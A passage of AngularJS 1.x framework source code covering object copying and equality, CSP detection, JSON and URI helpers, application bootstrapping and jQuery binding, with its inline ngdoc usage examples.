 <button ng-click="reset()">RESET</button>
 <button ng-click="update(user)">SAVE</button>
 </form>
 <pre>form = {{user | json}}</pre>
 <pre>master = {{master | json}}</pre>
 </div>

 <script>
  angular.module('copyExample', [])
    .controller('ExampleController', ['$scope', function($scope) {
      $scope.master= {};

      $scope.update = function(user) {
        // Example with 1 argument
        $scope.master= angular.copy(user);
      };

      $scope.reset = function() {
        // Example with 2 arguments
        angular.copy($scope.master, $scope.user);
      };

      $scope.reset();
    }]);
 </script>
 </file>
 </example>
 */
function copy(source, destination) {
  var stackSource = [];
  var stackDest = [];

  if (destination) {
    if (isTypedArray(destination) || isArrayBuffer(destination)) {
      throw ngMinErr('cpta', "Can't copy! TypedArray destination cannot be mutated.");
    }
    if (source === destination) {
      throw ngMinErr('cpi', "Can't copy! Source and destination are identical.");
    }

    // Empty the destination object
    if (isArray(destination)) {
      destination.length = 0;
    } else {
      forEach(destination, function(value, key) {
        if (key !== '$$hashKey') {
          delete destination[key];
        }
      });
    }

    stackSource.push(source);
    stackDest.push(destination);
    return copyRecurse(source, destination);
  }

  return copyElement(source);

  function copyRecurse(source, destination) {
    var h = destination.$$hashKey;
    var key;
    if (isArray(source)) {
      for (var i = 0, ii = source.length; i < ii; i++) {
        destination.push(copyElement(source[i]));
      }
    } else if (isBlankObject(source)) {
      // createMap() fast path --- Safe to avoid hasOwnProperty check because prototype chain is empty
      for (key in source) {
        destination[key] = copyElement(source[key]);
      }
    } else if (source && typeof source.hasOwnProperty === 'function') {
      // Slow path, which must rely on hasOwnProperty
      for (key in source) {
        if (source.hasOwnProperty(key)) {
          destination[key] = copyElement(source[key]);
        }
      }
    } else {
      // Slowest path --- hasOwnProperty can't be called as a method
      for (key in source) {
        if (hasOwnProperty.call(source, key)) {
          destination[key] = copyElement(source[key]);
        }
      }
    }
    setHashKey(destination, h);
    return destination;
  }

  function copyElement(source) {
    // Simple values
    if (!isObject(source)) {
      return source;
    }

    // Already copied values
    var index = stackSource.indexOf(source);
    if (index !== -1) {
      return stackDest[index];
    }

    if (isWindow(source) || isScope(source)) {
      throw ngMinErr('cpws',
        "Can't copy! Making copies of Window or Scope instances is not supported.");
    }

    var needsRecurse = false;
    var destination = copyType(source);

    if (destination === undefined) {
      destination = isArray(source) ? [] : Object.create(getPrototypeOf(source));
      needsRecurse = true;
    }

    stackSource.push(source);
    stackDest.push(destination);

    return needsRecurse
      ? copyRecurse(source, destination)
      : destination;
  }

  function copyType(source) {
    switch (toString.call(source)) {
      case '[object Int8Array]':
      case '[object Int16Array]':
      case '[object Int32Array]':
      case '[object Float32Array]':
      case '[object Float64Array]':
      case '[object Uint8Array]':
      case '[object Uint8ClampedArray]':
      case '[object Uint16Array]':
      case '[object Uint32Array]':
        return new source.constructor(copyElement(source.buffer));

      case '[object ArrayBuffer]':
        //Support: IE10
        if (!source.slice) {
          var copied = new ArrayBuffer(source.byteLength);
          new Uint8Array(copied).set(new Uint8Array(source));
          return copied;
        }
        return source.slice(0);

      case '[object Boolean]':
      case '[object Number]':
      case '[object String]':
      case '[object Date]':
        return new source.constructor(source.valueOf());

      case '[object RegExp]':
        var re = new RegExp(source.source, source.toString().match(/[^\/]*$/)[0]);
        re.lastIndex = source.lastIndex;
        return re;

      case '[object Blob]':
        return new source.constructor([source], {type: source.type});
    }

    if (isFunction(source.cloneNode)) {
      return source.cloneNode(true);
    }
  }
}


/**
 * @ngdoc function
 * @name angular.equals
 * @module ng
 * @kind function
 *
 * @description
 * Determines if two objects or two values are equivalent. Supports value types, regular
 * expressions, arrays and objects.
 *
 * Two objects or values are considered equivalent if at least one of the following is true:
 *
 * * Both objects or values pass `===` comparison.
 * * Both objects or values are of the same type and all of their properties are equal by
 *   comparing them with `angular.equals`.
 * * Both values are NaN. (In JavaScript, NaN == NaN => false. But we consider two NaN as equal)
 * * Both values represent the same regular expression (In JavaScript,
 *   /abc/ == /abc/ => false. But we consider two regular expressions as equal when their textual
 *   representation matches).
 *
 * During a property comparison, properties of `function` type and properties with names
 * that begin with `$` are ignored.
 *
 * Scope and DOMWindow objects are being compared only by identify (`===`).
 *
 * @param {*} o1 Object or value to compare.
 * @param {*} o2 Object or value to compare.
 * @returns {boolean} True if arguments are equal.
 *
 * @example
   <example module="equalsExample" name="equalsExample">
     <file name="index.html">
      <div ng-controller="ExampleController">
        <form novalidate>
          <h3>User 1</h3>
          Name: <input type="text" ng-model="user1.name">
          Age: <input type="number" ng-model="user1.age">

          <h3>User 2</h3>
          Name: <input type="text" ng-model="user2.name">
          Age: <input type="number" ng-model="user2.age">

          <div>
            <br/>
            <input type="button" value="Compare" ng-click="compare()">
          </div>
          User 1: <pre>{{user1 | json}}</pre>
          User 2: <pre>{{user2 | json}}</pre>
          Equal: <pre>{{result}}</pre>
        </form>
      </div>
    </file>
    <file name="script.js">
        angular.module('equalsExample', []).controller('ExampleController', ['$scope', function($scope) {
          $scope.user1 = {};
          $scope.user2 = {};
          $scope.result;
          $scope.compare = function() {
            $scope.result = angular.equals($scope.user1, $scope.user2);
          };
        }]);
    </file>
  </example>
 */
function equals(o1, o2) {
  if (o1 === o2) return true;
  if (o1 === null || o2 === null) return false;
  if (o1 !== o1 && o2 !== o2) return true; // NaN === NaN
  var t1 = typeof o1, t2 = typeof o2, length, key, keySet;
  if (t1 == t2 && t1 == 'object') {
    if (isArray(o1)) {
      if (!isArray(o2)) return false;
      if ((length = o1.length) == o2.length) {
        for (key = 0; key < length; key++) {
          if (!equals(o1[key], o2[key])) return false;
        }
        return true;
      }
    } else if (isDate(o1)) {
      if (!isDate(o2)) return false;
      return equals(o1.getTime(), o2.getTime());
    } else if (isRegExp(o1)) {
      if (!isRegExp(o2)) return false;
      return o1.toString() == o2.toString();
    } else {
      if (isScope(o1) || isScope(o2) || isWindow(o1) || isWindow(o2) ||
        isArray(o2) || isDate(o2) || isRegExp(o2)) return false;
      keySet = createMap();
      for (key in o1) {
        if (key.charAt(0) === '$' || isFunction(o1[key])) continue;
        if (!equals(o1[key], o2[key])) return false;
        keySet[key] = true;
      }
      for (key in o2) {
        if (!(key in keySet) &&
            key.charAt(0) !== '$' &&
            isDefined(o2[key]) &&
            !isFunction(o2[key])) return false;
      }
      return true;
    }
  }
  return false;
}

var csp = function() {
  if (!isDefined(csp.rules)) {


    var ngCspElement = (window.document.querySelector('[ng-csp]') ||
                    window.document.querySelector('[data-ng-csp]'));

    if (ngCspElement) {
      var ngCspAttribute = ngCspElement.getAttribute('ng-csp') ||
                    ngCspElement.getAttribute('data-ng-csp');
      csp.rules = {
        noUnsafeEval: !ngCspAttribute || (ngCspAttribute.indexOf('no-unsafe-eval') !== -1),
        noInlineStyle: !ngCspAttribute || (ngCspAttribute.indexOf('no-inline-style') !== -1)
      };
    } else {
      csp.rules = {
        noUnsafeEval: noUnsafeEval(),
        noInlineStyle: false
      };
    }
  }

  return csp.rules;

  function noUnsafeEval() {
    try {
      /* jshint -W031, -W054 */
      new Function('');
      /* jshint +W031, +W054 */
      return false;
    } catch (e) {
      return true;
    }
  }
};

/**
 * @ngdoc directive
 * @module ng
 * @name ngJq
 *
 * @element ANY
 * @param {string=} ngJq the name of the library available under `window`
 * to be used for angular.element
 * @description
 * Use this directive to force the angular.element library.  This should be
 * used to force either jqLite by leaving ng-jq blank or setting the name of
 * the jquery variable under window (eg. jQuery).
 *
 * Since angular looks for this directive when it is loaded (doesn't wait for the
 * DOMContentLoaded event), it must be placed on an element that comes before the script
 * which loads angular. Also, only the first instance of `ng-jq` will be used and all
 * others ignored.
 *
 * @example
 * This example shows how to force jqLite using the `ngJq` directive to the `html` tag.
 ```html
 <!doctype html>
 <html ng-app ng-jq>
 ...
 ...
 </html>
 ```
 * @example
 * This example shows how to use a jQuery based library of a different name.
 * The library name must be available at the top most 'window'.
 ```html
 <!doctype html>
 <html ng-app ng-jq="jQueryLib">
 ...
 ...
 </html>
 ```
 */
var jq = function() {
  if (isDefined(jq.name_)) return jq.name_;
  var el;
  var i, ii = ngAttrPrefixes.length, prefix, name;
  for (i = 0; i < ii; ++i) {
    prefix = ngAttrPrefixes[i];
    if (el = window.document.querySelector('[' + prefix.replace(':', '\\:') + 'jq]')) {
      name = el.getAttribute(prefix + 'jq');
      break;
    }
  }

  return (jq.name_ = name);
};

function concat(array1, array2, index) {
  return array1.concat(slice.call(array2, index));
}

function sliceArgs(args, startIndex) {
  return slice.call(args, startIndex || 0);
}


/* jshint -W101 */
/**
 * @ngdoc function
 * @name angular.bind
 * @module ng
 * @kind function
 *
 * @description
 * Returns a function which calls function `fn` bound to `self` (`self` becomes the `this` for
 * `fn`). You can supply optional `args` that are prebound to the function. This feature is also
 * known as [partial application](http://en.wikipedia.org/wiki/Partial_application), as
 * distinguished from [function currying](http://en.wikipedia.org/wiki/Currying#Contrast_with_partial_function_application).
 *
 * @param {Object} self Context which `fn` should be evaluated in.
 * @param {function()} fn Function to be bound.
 * @param {...*} args Optional arguments to be prebound to the `fn` function call.
 * @returns {function()} Function that wraps the `fn` with all the specified bindings.
 */
/* jshint +W101 */
function bind(self, fn) {
  var curryArgs = arguments.length > 2 ? sliceArgs(arguments, 2) : [];
  if (isFunction(fn) && !(fn instanceof RegExp)) {
    return curryArgs.length
      ? function() {
          return arguments.length
            ? fn.apply(self, concat(curryArgs, arguments, 0))
            : fn.apply(self, curryArgs);
        }
      : function() {
          return arguments.length
            ? fn.apply(self, arguments)
            : fn.call(self);
        };
  } else {
    // In IE, native methods are not functions so they cannot be bound (note: they don't need to be).
    return fn;
  }
}


function toJsonReplacer(key, value) {
  var val = value;

  if (typeof key === 'string' && key.charAt(0) === '$' && key.charAt(1) === '$') {
    val = undefined;
  } else if (isWindow(value)) {
    val = '$WINDOW';
  } else if (value &&  window.document === value) {
    val = '$DOCUMENT';
  } else if (isScope(value)) {
    val = '$SCOPE';
  }

  return val;
}


/**
 * @ngdoc function
 * @name angular.toJson
 * @module ng
 * @kind function
 *
 * @description
 * Serializes input into a JSON-formatted string. Properties with leading $$ characters will be
 * stripped since angular uses this notation internally.
 *
 * @param {Object|Array|Date|string|number} obj Input to be serialized into JSON.
 * @param {boolean|number} [pretty=2] If set to true, the JSON output will contain newlines and whitespace.
 *    If set to an integer, the JSON output will contain that many spaces per indentation.
 * @returns {string|undefined} JSON-ified string representing `obj`.
 * @knownIssue
 *
 * The Safari browser throws a `RangeError` instead of returning `null` when it tries to stringify a `Date`
 * object with an invalid date value. The only reliable way to prevent this is to monkeypatch the
 * `Date.prototype.toJSON` method as follows:
 *
 * ```
 * var _DatetoJSON = Date.prototype.toJSON;
 * Date.prototype.toJSON = function() {
 *   try {
 *     return _DatetoJSON.call(this);
 *   } catch(e) {
 *     if (e instanceof RangeError) {
 *       return null;
 *     }
 *     throw e;
 *   }
 * };
 * ```
 *
 * See https://github.com/angular/angular.js/pull/14221 for more information.
 */
function toJson(obj, pretty) {
  if (isUndefined(obj)) return undefined;
  if (!isNumber(pretty)) {
    pretty = pretty ? 2 : null;
  }
  return JSON.stringify(obj, toJsonReplacer, pretty);
}


/**
 * @ngdoc function
 * @name angular.fromJson
 * @module ng
 * @kind function
 *
 * @description
 * Deserializes a JSON string.
 *
 * @param {string} json JSON string to deserialize.
 * @returns {Object|Array|string|number} Deserialized JSON string.
 */
function fromJson(json) {
  return isString(json)
      ? JSON.parse(json)
      : json;
}


var ALL_COLONS = /:/g;
function timezoneToOffset(timezone, fallback) {
  // IE/Edge do not "understand" colon (`:`) in timezone
  timezone = timezone.replace(ALL_COLONS, '');
  var requestedTimezoneOffset = Date.parse('Jan 01, 1970 00:00:00 ' + timezone) / 60000;
  return isNaN(requestedTimezoneOffset) ? fallback : requestedTimezoneOffset;
}


function addDateMinutes(date, minutes) {
  date = new Date(date.getTime());
  date.setMinutes(date.getMinutes() + minutes);
  return date;
}


function convertTimezoneToLocal(date, timezone, reverse) {
  reverse = reverse ? -1 : 1;
  var dateTimezoneOffset = date.getTimezoneOffset();
  var timezoneOffset = timezoneToOffset(timezone, dateTimezoneOffset);
  return addDateMinutes(date, reverse * (timezoneOffset - dateTimezoneOffset));
}


/**
 * @returns {string} Returns the string representation of the element.
 */
function startingTag(element) {
  element = jqLite(element).clone();
  try {
    // turns out IE does not let you set .html() on elements which
    // are not allowed to have children. So we just ignore it.
    element.empty();
  } catch (e) {}
  var elemHtml = jqLite('<div>').append(element).html();
  try {
    return element[0].nodeType === NODE_TYPE_TEXT ? lowercase(elemHtml) :
        elemHtml.
          match(/^(<[^>]+>)/)[1].
          replace(/^<([\w\-]+)/, function(match, nodeName) {return '<' + lowercase(nodeName);});
  } catch (e) {
    return lowercase(elemHtml);
  }

}


/////////////////////////////////////////////////

/**
 * Tries to decode the URI component without throwing an exception.
 *
 * @private
 * @param str value potential URI component to check.
 * @returns {boolean} True if `value` can be decoded
 * with the decodeURIComponent function.
 */
function tryDecodeURIComponent(value) {
  try {
    return decodeURIComponent(value);
  } catch (e) {
    // Ignore any invalid uri component.
  }
}


/**
 * Parses an escaped url query string into key-value pairs.
 * @returns {Object.<string,boolean|Array>}
 */
function parseKeyValue(/**string*/keyValue) {
  var obj = {};
  forEach((keyValue || "").split('&'), function(keyValue) {
    var splitPoint, key, val;
    if (keyValue) {
      key = keyValue = keyValue.replace(/\+/g,'%20');
      splitPoint = keyValue.indexOf('=');
      if (splitPoint !== -1) {
        key = keyValue.substring(0, splitPoint);
        val = keyValue.substring(splitPoint + 1);
      }
      key = tryDecodeURIComponent(key);
      if (isDefined(key)) {
        val = isDefined(val) ? tryDecodeURIComponent(val) : true;
        if (!hasOwnProperty.call(obj, key)) {
          obj[key] = val;
        } else if (isArray(obj[key])) {
          obj[key].push(val);
        } else {
          obj[key] = [obj[key],val];
        }
      }
    }
  });
  return obj;
}

function toKeyValue(obj) {
  var parts = [];
  forEach(obj, function(value, key) {
    if (isArray(value)) {
      forEach(value, function(arrayValue) {
        parts.push(encodeUriQuery(key, true) +
                   (arrayValue === true ? '' : '=' + encodeUriQuery(arrayValue, true)));
      });
    } else {
    parts.push(encodeUriQuery(key, true) +
               (value === true ? '' : '=' + encodeUriQuery(value, true)));
    }
  });
  return parts.length ? parts.join('&') : '';
}


/**
 * We need our custom method because encodeURIComponent is too aggressive and doesn't follow
 * http://www.ietf.org/rfc/rfc3986.txt with regards to the character set (pchar) allowed in path
 * segments:
 *    segment       = *pchar
 *    pchar         = unreserved / pct-encoded / sub-delims / ":" / "@"
 *    pct-encoded   = "%" HEXDIG HEXDIG
 *    unreserved    = ALPHA / DIGIT / "-" / "." / "_" / "~"
 *    sub-delims    = "!" / "$" / "&" / "'" / "(" / ")"
 *                     / "*" / "+" / "," / ";" / "="
 */
function encodeUriSegment(val) {
  return encodeUriQuery(val, true).
             replace(/%26/gi, '&').
             replace(/%3D/gi, '=').
             replace(/%2B/gi, '+');
}


/**
 * This method is intended for encoding *key* or *value* parts of query component. We need a custom
 * method because encodeURIComponent is too aggressive and encodes stuff that doesn't have to be
 * encoded per http://tools.ietf.org/html/rfc3986:
 *    query       = *( pchar / "/" / "?" )
 *    pchar         = unreserved / pct-encoded / sub-delims / ":" / "@"
 *    unreserved    = ALPHA / DIGIT / "-" / "." / "_" / "~"
 *    pct-encoded   = "%" HEXDIG HEXDIG
 *    sub-delims    = "!" / "$" / "&" / "'" / "(" / ")"
 *                     / "*" / "+" / "," / ";" / "="
 */
function encodeUriQuery(val, pctEncodeSpaces) {
  return encodeURIComponent(val).
             replace(/%40/gi, '@').
             replace(/%3A/gi, ':').
             replace(/%24/g, '$').
             replace(/%2C/gi, ',').
             replace(/%3B/gi, ';').
             replace(/%20/g, (pctEncodeSpaces ? '%20' : '+'));
}

var ngAttrPrefixes = ['ng-', 'data-ng-', 'ng:', 'x-ng-'];

function getNgAttribute(element, ngAttr) {
  var attr, i, ii = ngAttrPrefixes.length;
  for (i = 0; i < ii; ++i) {
    attr = ngAttrPrefixes[i] + ngAttr;
    if (isString(attr = element.getAttribute(attr))) {
      return attr;
    }
  }
  return null;
}

/**
 * @ngdoc directive
 * @name ngApp
 * @module ng
 *
 * @element ANY
 * @param {angular.Module} ngApp an optional application
 *   {@link angular.module module} name to load.
 * @param {boolean=} ngStrictDi if this attribute is present on the app element, the injector will be
 *   created in "strict-di" mode. This means that the application will fail to invoke functions which
 *   do not use explicit function annotation (and are thus unsuitable for minification), as described
 *   in {@link guide/di the Dependency Injection guide}, and useful debugging info will assist in
 *   tracking down the root of these bugs.
 *
 * @description
 *
 * Use this directive to **auto-bootstrap** an AngularJS application. The `ngApp` directive
 * designates the **root element** of the application and is typically placed near the root element
 * of the page - e.g. on the `<body>` or `<html>` tags.
 *
 * There are a few things to keep in mind when using `ngApp`:
 * - only one AngularJS application can be auto-bootstrapped per HTML document. The first `ngApp`
 *   found in the document will be used to define the root element to auto-bootstrap as an
 *   application. To run multiple applications in an HTML document you must manually bootstrap them using
 *   {@link angular.bootstrap} instead.
 * - AngularJS applications cannot be nested within each other.
 * - Do not use a directive that uses {@link ng.$compile#transclusion transclusion} on the same element as `ngApp`.
 *   This includes directives such as {@link ng.ngIf `ngIf`}, {@link ng.ngInclude `ngInclude`} and
 *   {@link ngRoute.ngView `ngView`}.
 *   Doing this misplaces the app {@link ng.$rootElement `$rootElement`} and the app's {@link auto.$injector injector},
 *   causing animations to stop working and making the injector inaccessible from outside the app.
 *
 * You can specify an **AngularJS module** to be used as the root module for the application.  This
 * module will be loaded into the {@link auto.$injector} when the application is bootstrapped. It
 * should contain the application code needed or have dependencies on other modules that will
 * contain the code. See {@link angular.module} for more information.
 *
 * In the example below if the `ngApp` directive were not placed on the `html` element then the
 * document would not be compiled, the `AppController` would not be instantiated and the `{{ a+b }}`
 * would not be resolved to `3`.
 *
 * `ngApp` is the easiest, and most common way to bootstrap an application.
 *
 <example module="ngAppDemo">
   <file name="index.html">
   <div ng-controller="ngAppDemoController">
     I can add: {{a}} + {{b}} =  {{ a+b }}
   </div>
   </file>
   <file name="script.js">
   angular.module('ngAppDemo', []).controller('ngAppDemoController', function($scope) {
     $scope.a = 1;
     $scope.b = 2;
   });
   </file>
 </example>
 *
 * Using `ngStrictDi`, you would see something like this:
 *
 <example ng-app-included="true">
   <file name="index.html">
   <div ng-app="ngAppStrictDemo" ng-strict-di>
       <div ng-controller="GoodController1">
           I can add: {{a}} + {{b}} =  {{ a+b }}

           <p>This renders because the controller does not fail to
              instantiate, by using explicit annotation style (see
              script.js for details)
           </p>
       </div>

       <div ng-controller="GoodController2">
           Name: <input ng-model="name"><br />
           Hello, {{name}}!

           <p>This renders because the controller does not fail to
              instantiate, by using explicit annotation style
              (see script.js for details)
           </p>
       </div>

       <div ng-controller="BadController">
           I can add: {{a}} + {{b}} =  {{ a+b }}

           <p>The controller could not be instantiated, due to relying
              on automatic function annotations (which are disabled in
              strict mode). As such, the content of this section is not
              interpolated, and there should be an error in your web console.
           </p>
       </div>
   </div>
   </file>
   <file name="script.js">
   angular.module('ngAppStrictDemo', [])
     // BadController will fail to instantiate, due to relying on automatic function annotation,
     // rather than an explicit annotation
     .controller('BadController', function($scope) {
       $scope.a = 1;
       $scope.b = 2;
     })
     // Unlike BadController, GoodController1 and GoodController2 will not fail to be instantiated,
     // due to using explicit annotations using the array style and $inject property, respectively.
     .controller('GoodController1', ['$scope', function($scope) {
       $scope.a = 1;
       $scope.b = 2;
     }])
     .controller('GoodController2', GoodController2);
     function GoodController2($scope) {
       $scope.name = "World";
     }
     GoodController2.$inject = ['$scope'];
   </file>
   <file name="style.css">
   div[ng-controller] {
       margin-bottom: 1em;
       -webkit-border-radius: 4px;
       border-radius: 4px;
       border: 1px solid;
       padding: .5em;
   }
   div[ng-controller^=Good] {
       border-color: #d6e9c6;
       background-color: #dff0d8;
       color: #3c763d;
   }
   div[ng-controller^=Bad] {
       border-color: #ebccd1;
       background-color: #f2dede;
       color: #a94442;
       margin-bottom: 0;
   }
   </file>
 </example>
 */
function angularInit(element, bootstrap) {
  var appElement,
      module,
      config = {};

  // The element `element` has priority over any other element.
  forEach(ngAttrPrefixes, function(prefix) {
    var name = prefix + 'app';

    if (!appElement && element.hasAttribute && element.hasAttribute(name)) {
      appElement = element;
      module = element.getAttribute(name);
    }
  });
  forEach(ngAttrPrefixes, function(prefix) {
    var name = prefix + 'app';
    var candidate;

    if (!appElement && (candidate = element.querySelector('[' + name.replace(':', '\\:') + ']'))) {
      appElement = candidate;
      module = candidate.getAttribute(name);
    }
  });
  if (appElement) {
    config.strictDi = getNgAttribute(appElement, "strict-di") !== null;
    bootstrap(appElement, module ? [module] : [], config);
  }
}

/**
 * @ngdoc function
 * @name angular.bootstrap
 * @module ng
 * @description
 * Use this function to manually start up angular application.
 *
 * For more information, see the {@link guide/bootstrap Bootstrap guide}.
 *
 * Angular will detect if it has been loaded into the browser more than once and only allow the
 * first loaded script to be bootstrapped and will report a warning to the browser console for
 * each of the subsequent scripts. This prevents strange results in applications, where otherwise
 * multiple instances of Angular try to work on the DOM.
 *
 * <div class="alert alert-warning">
 * **Note:** Protractor based end-to-end tests cannot use this function to bootstrap manually.
 * They must use {@link ng.directive:ngApp ngApp}.
 * </div>
 *
 * <div class="alert alert-warning">
 * **Note:** Do not bootstrap the app on an element with a directive that uses {@link ng.$compile#transclusion transclusion},
 * such as {@link ng.ngIf `ngIf`}, {@link ng.ngInclude `ngInclude`} and {@link ngRoute.ngView `ngView`}.
 * Doing this misplaces the app {@link ng.$rootElement `$rootElement`} and the app's {@link auto.$injector injector},
 * causing animations to stop working and making the injector inaccessible from outside the app.
 * </div>
 *
 * ```html
 * <!doctype html>
 * <html>
 * <body>
 * <div ng-controller="WelcomeController">
 *   {{greeting}}
 * </div>
 *
 * <script src="angular.js"></script>
 * <script>
 *   var app = angular.module('demo', [])
 *   .controller('WelcomeController', function($scope) {
 *       $scope.greeting = 'Welcome!';
 *   });
 *   angular.bootstrap(document, ['demo']);
 * </script>
 * </body>
 * </html>
 * ```
 *
 * @param {DOMElement} element DOM element which is the root of angular application.
 * @param {Array<String|Function|Array>=} modules an array of modules to load into the application.
 *     Each item in the array should be the name of a predefined module or a (DI annotated)
 *     function that will be invoked by the injector as a `config` block.
 *     See: {@link angular.module modules}
 * @param {Object=} config an object for defining configuration options for the application. The
 *     following keys are supported:
 *
 * * `strictDi` - disable automatic function annotation for the application. This is meant to
 *   assist in finding bugs which break minified code. Defaults to `false`.
 *
 * @returns {auto.$injector} Returns the newly created injector for this app.
 */
function bootstrap(element, modules, config) {
  if (!isObject(config)) config = {};
  var defaultConfig = {
    strictDi: false
  };
  config = extend(defaultConfig, config);
  var doBootstrap = function() {
    element = jqLite(element);

    if (element.injector()) {
      var tag = (element[0] === window.document) ? 'document' : startingTag(element);
      // Encode angle brackets to prevent input from being sanitized to empty string #8683.
      throw ngMinErr(
          'btstrpd',
          "App already bootstrapped with this element '{0}'",
          tag.replace(/</,'&lt;').replace(/>/,'&gt;'));
    }

    modules = modules || [];
    modules.unshift(['$provide', function($provide) {
      $provide.value('$rootElement', element);
    }]);

    if (config.debugInfoEnabled) {
      // Pushing so that this overrides `debugInfoEnabled` setting defined in user's `modules`.
      modules.push(['$compileProvider', function($compileProvider) {
        $compileProvider.debugInfoEnabled(true);
      }]);
    }

    modules.unshift('ng');
    var injector = createInjector(modules, config.strictDi);
    injector.invoke(['$rootScope', '$rootElement', '$compile', '$injector',
       function bootstrapApply(scope, element, compile, injector) {
        scope.$apply(function() {
          element.data('$injector', injector);
          compile(element)(scope);
        });
      }]
    );
    return injector;
  };

  var NG_ENABLE_DEBUG_INFO = /^NG_ENABLE_DEBUG_INFO!/;
  var NG_DEFER_BOOTSTRAP = /^NG_DEFER_BOOTSTRAP!/;

  if (window && NG_ENABLE_DEBUG_INFO.test(window.name)) {
    config.debugInfoEnabled = true;
    window.name = window.name.replace(NG_ENABLE_DEBUG_INFO, '');
  }

  if (window && !NG_DEFER_BOOTSTRAP.test(window.name)) {
    return doBootstrap();
  }

  window.name = window.name.replace(NG_DEFER_BOOTSTRAP, '');
  angular.resumeBootstrap = function(extraModules) {
    forEach(extraModules, function(module) {
      modules.push(module);
    });
    return doBootstrap();
  };

  if (isFunction(angular.resumeDeferredBootstrap)) {
    angular.resumeDeferredBootstrap();
  }
}

/**
 * @ngdoc function
 * @name angular.reloadWithDebugInfo
 * @module ng
 * @description
 * Use this function to reload the current application with debug information turned on.
 * This takes precedence over a call to `$compileProvider.debugInfoEnabled(false)`.
 *
 * See {@link ng.$compileProvider#debugInfoEnabled} for more.
 */
function reloadWithDebugInfo() {
  window.name = 'NG_ENABLE_DEBUG_INFO!' + window.name;
  window.location.reload();
}

/**
 * @name angular.getTestability
 * @module ng
 * @description
 * Get the testability service for the instance of Angular on the given
 * element.
 * @param {DOMElement} element DOM element which is the root of angular application.
 */
function getTestability(rootElement) {
  var injector = angular.element(rootElement).injector();
  if (!injector) {
    throw ngMinErr('test',
      'no injector found for element argument to getTestability');
  }
  return injector.get('$$testability');
}

var SNAKE_CASE_REGEXP = /[A-Z]/g;
function snake_case(name, separator) {
  separator = separator || '_';
  return name.replace(SNAKE_CASE_REGEXP, function(letter, pos) {
    return (pos ? separator : '') + letter.toLowerCase();
  });
}

var bindJQueryFired = false;
function bindJQuery() {
  var originalCleanData;

  if (bindJQueryFired) {
    return;
  }

  // bind to jQuery if present;
  var jqName = jq();
  jQuery = isUndefined(jqName) ? window.jQuery :   // use jQuery (if present)
           !jqName             ? undefined     :   // use jqLite
                                 window[jqName];   // use jQuery specified by `ngJq`

  // Use jQuery if it exists with proper functionality, otherwise default to us.
  // Angular 1.2+ requires jQuery 1.7+ for on()/off() support.
  // Angular 1.3+ technically requires at least jQuery 2.1+ but it may work with older
  // versions. It will not work for sure with jQuery <1.7, though.
  if (jQuery && jQuery.fn.on) {
    jqLite = jQuery;
    extend(jQuery.fn, {
      scope: JQLitePrototype.scope,
      isolateScope: JQLitePrototype.isolateScope,
      controller: JQLitePrototype.controller,
      injector: JQLitePrototype.injector,
      inheritedData: JQLitePrototype.inheritedData
    });

    // All nodes removed from the DOM via various jQuery APIs like .remove()
    // are passed through jQuery.cleanData. Monkey-patch this method to fire
    // the $destroy event on all removed nodes.
    originalCleanData = jQuery.cleanData;
    jQuery.cleanData = function(elems) {
      var events;
      for (var i = 0, elem; (elem = elems[i]) != null; i++) {
        events = jQuery._data(elem, "events");
        if (events && events.$destroy) {
          jQuery(elem).triggerHandler('$destroy');
        }
      }
      originalCleanData(elems);
    };
  } else {
    jqLite = JQLite;
  }

  angular.element = jqLite;

  // Prevent double-proxying.
  bindJQueryFired = true;
}

/**
 * throw error if the argument is falsy.
 */
function assertArg(arg, name, reason) {
  if (!arg) {
    throw ngMinErr('areq', "Argument '{0}' is {1}", (name || '?'), (reason || "required"));
  }
  return arg;
}

function assertArgFn(arg, name, acceptArrayAnnotation) {
  if (acceptArrayAnnotation && isArray(arg)) {
      arg = arg[arg.length - 1];
  }

  assertArg(isFunction(arg), name, 'not a function, got ' +
      (arg && typeof arg === 'object' ? arg.constructor.name || 'Object' : typeof arg));
  return arg;
}

/**
 * throw error if the name given is hasOwnProperty
 * @param  {String} name    the name to test
 * @param  {String} context the context in which the name is used, such as module or directive
 */
function assertNotHasOwnProperty(name, context) {
  if (name === 'hasOwnProperty') {
    throw ngMinErr('badname', "hasOwnProperty is not a valid {0} name", context);
  }
}

/**
 * Return the value accessible from the object by path. Any undefined traversals are ignored
 * @param {Object} obj starting object
 * @param {String} path path to traverse
 * @param {boolean} [bindFnToScope=true]
 * @returns {Object} value as accessible by path
 */
//TODO(misko): this function needs to be removed
function getter(obj, path, bindFnToScope) {
  if (!path) return obj;
  var keys = path.split('.');
  var key;
  var lastInstance = obj;
  var len = keys.length;

  for (var i = 0; i < len; i++) {
    key = keys[i];
    if (obj) {
      obj = (lastInstance = obj)[key];
    }
  }
  if (!bindFnToScope && isFunction(obj)) {
    return bind(lastInstance, obj);
  }
  return obj;
}

/**
 * Return the DOM siblings between the first and last node in the given array.
 * @param {Array} array like object
 * @returns {Array} the inputted object or a jqLite collection containing the nodes
 */
function getBlockNodes(nodes) {
  // TODO(perf): update `nodes` instead of creating a new object?
  var node = nodes[0];
  var endNode = nodes[nodes.length - 1];
  var blockNodes;

  for (var i = 1; node !== endNode && (node = node.nextSibling); i++) {
    if (blockNodes || nodes[i] !== node) {
      if (!blockNodes) {
        blockNodes = jqLite(slice.call(nodes, 0, i));
      }
      blockNodes.push(node);
    }
  }

  return blockNodes || nodes;
}


/**
 * Creates a new object without a prototype. This object is useful for lookup without having to
 * guard against prototypically inherited properties via hasOwnProperty.
 *
 * Related micro-benchmarks:
 * - http://jsperf.com/object-create2
 * - http://jsperf.com/proto-map-lookup/2
 * - http://jsperf.com/for-in-vs-object-keys2
 *
 * @returns {Object}
 */
function createMap() {
  return Object.create(null);
}

var NODE_TYPE_ELEMENT = 1;
var NODE_TYPE_ATTRIBUTE = 2;
var NODE_TYPE_TEXT = 3;
var NODE_TYPE_COMMENT = 8;
var NODE_TYPE_DOCUMENT = 9;
var NODE_TYPE_DOCUMENT_FRAGMENT = 11;

/**
 * @ngdoc type
 * @name angular.Module
 * @module ng
 * @description
 *
 * Interface for configuring angular {@link angular.module modules}.
 */

function setupModuleLoader(window) {

  var $injectorMinErr = minErr('$injector');
  var ngMinErr = minErr('ng');

  function ensure(obj, name, factory) {
    return obj[name] || (obj[name] = factory());
  }

  var angular = ensure(window, 'angular', Object);

  // We need to expose `angular.$$minErr` to modules such as `ngResource` that reference it during bootstrap
  angular.$$minErr = angular.$$minErr || minErr;

  return ensure(angular, 'module', function() {
    /** @type {Object.<string, angular.Module>} */
    var modules = {};

    /**
     * @ngdoc function
     * @name angular.module
     * @module ng
     * @description
     *
